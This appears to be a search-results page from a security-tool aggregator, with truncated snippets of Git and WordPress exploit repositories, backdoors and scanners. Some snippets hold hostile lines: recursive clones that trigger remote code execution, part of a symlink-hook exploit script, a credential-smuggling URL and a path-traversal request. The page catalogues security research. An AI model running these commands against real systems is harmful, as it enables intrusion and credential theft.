3770 matches found
CVE-2024-32002
CVE-2024-32002 バージョン 1.0.0 このバージョンは、認証されたユーザーがいるリモートターゲットと影響を受けるgitバージョン2.45.0でのみ動作します。 この脆弱性は以下のバージョンのGitに影響します: 2.45.0 概念実証 PoCは、シンボリックリンクを辿るgitのサブモジュールの特定の脆弱な使用法を介して、git cloneコマンドを使用してRCE（リモートコード実行）をトリガーできます。そのため、正常に動作させるにはコンテキストでcore.symlinksがtrueに設定されている必要があります。 注: これは git config --global...
CVE-2025-48384
CVE-2025-48384: キャリッジリターンでgitを破壊し、クローンでRCE https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 からの再現です。すべてのクレジットは David Leadbeater 氏に帰属します。 これは本脆弱性の基本的な再現試行です。 トリガーするには、脆弱性のあるgitバージョンで git clone --recursive https://github.com/acheong08/CVE-2025-48384 を実行すると、突然 /tmp/fishsucks ファイルが出現します。...
dbd
d8888b. d8888b. d8888b. 88 8D 88 8D 88 8D 88 88 88oooY' 88 88 88 88 88b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D' Durandal's Backdoor Copyright C 2013 Kyle Barnthouse [email protected] dbd は GNU GPL のもとで配布されています Mipsbe バイナリは Darkerego によって追加されました https://github.com/darkerego...
CVE-2024-32002-Exploit
root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...
subdomain3
Subdomain3 README.md inChinese 中文 Description Subdomain3 is a new generation of tool , It helps penetration testers to discover more information in a shorter time than other tools.The information includes subdomains, IP, CDN, and so on. Please enjoy it. Screenshot medium pattern for speed Feature...
git_rce
CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: root@kitploit: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.13...
CVE-2021-21300
CVE-2021-21300 クローンしてくれ そうすればあなたのマシンに 'PWNED' と表示される 参照:https://www.openwall.com/lists/oss-security/2021/03/09/3...
fapro
FaPro Free,Cross-platform,Single-file mass network protocol server simulator 中文Readme Description FaPro is a Fake Protocol Server tool, Can easily start or stop multiple network services. The goal is to support as many protocols as possible, and support as many deep interactions as possible for...
CVE-2026-47423-dompurify-xss-detector
DOMPurify 再クローンロジックの欠陥を利用した完全なサニタイザーバイパスが可能なDOMPurifyのプロダクション導入を検出します。 ソースコードのコメントやバージョン変数といった簡単に除去できる情報に頼る代わりに、このツールは難読化・圧縮されたプロダクションJavaScriptバンドルに対してロジックフィンガープリンティングを実行し、未修正の許可タグレイアウトを識別します。 脆弱性の概要 DOMPurifyバージョン3.4.4以前では、 要素がデフォルトで許可されていました。これにより、Chromium/WebKitブラウザがDOMPurifyのサニタイズ処理を実行した 後...
Gitmails
Development - IMPORTANT This Gitmails version is no longer maintained. Check out the Gitmails Shell port if you want to use a version that is maintained and, hopefully, developed. If you do not want to use the shell port and prefer the Python version, feel free to fork Gitmails and direct it to...
CVE-2020-5260
CVE-2020-5260 CVE-2020-5260 デモ記録 git が git clone https://example.com のようなコマンドを実行する際、プロトコル "https" を使用してホスト "example.com" の資格情報を保存するよう要求し、リモート側で認証が要求された場合に、返された資格情報を発行したリクエストに追加します。 root@kitploit: git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https 参考リンク:...
heartbleedscanner
Heartbleed Scanner Network Scanner for OpenSSL Memory Leak CVE-2014-0160 -t parameter to optimize the timeout in seconds. -f parameter to log the memleak of vulnerable systems. -n parameter to scan entire network. -i parameter to scan from a list file. Useful if you already have targets. -r...
cgit < 1.2.1 - Directory Traversal
cGit 1.2.1 via cgitcloneobjects has a directory traversal vulnerability when enable-http-clone=1 is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request. id: CVE-2018-14912 info: name: cgit 1.2.1 - Directory Traversal author: 0xAkoko severity: high description: cGit...
hook
hook gitrce用のサブモジュール: https://github.com/EQSTSeminar/gitrce 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.130 kali192.168.216.129 --Git clone && フックスクリプトpost-checkoutの実行-- Win192.168.216.130 免責事項 このリポジトリは、CVE-2024-32002に対するgit clone...
CVE-2026-60004
CVE-2026-60004 — Gitea Diffpatch Git フック RCE ベアクローンフックインジェクション → post-index-change → 任意コマンド実行 概要 CVE-2026-60004 は、Gitea および Forgejo のセルフホスト型 Git プラットフォームにおける深刻度クリティカル CVSS 9.8 の事前認証 リモートコード実行脆弱性であり、バージョン 1.17 から 1.27.0 に影響します。 この脆弱性は、POST /api/v1/repos/owner/repo/diffpatch API...
CVE-2024-9290
CVE-2024-9290 Super Backup & Clone - Migrate for WordPress = 2.3.3 - 未認証の任意ファイルアップロード 説明 WordPress 用の Super Backup & Clone - Migrate for WordPress プラグインは、2.3.3 を含む全てのバージョンにおいて、ibkrestoremigratecheck...
CVE-2024-9290
CVE-2024-9290 エクスプロイトツール | Super Backup & Clone 脆弱性 このツールは、Super Backup & Clone プラグインを使用し、任意のファイルアップロードに対して脆弱な WordPress サイトを対象としています。悪意のあるシェルを /wp-content/uploads/isnapshots/ ディレクトリにアップロードしようとします。アップロード後、ツールはシェルの存在を確認し、成功したアップロードを shells.txt ファイルに記録します。 機能 マルチスレッド :...
CVE-2025-48384
CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...
CVE-2018-11235
CVE-2018-11235 はじめに Docker コンテナをビルドするには、次を使用します： root@kitploit: make docker 以下の make コマンドは、お使いのマシンの異なるターミナルで並行して実行してください 攻撃者サーバーのコンテナを起動するには、次を使用します： root@kitploit: make runserver 被害者を表すコンテナを起動するには、次を使用します： root@kitploit: make runclient コンテナは client.py スクリプトを起動します。このスクリプトは、自身の IP...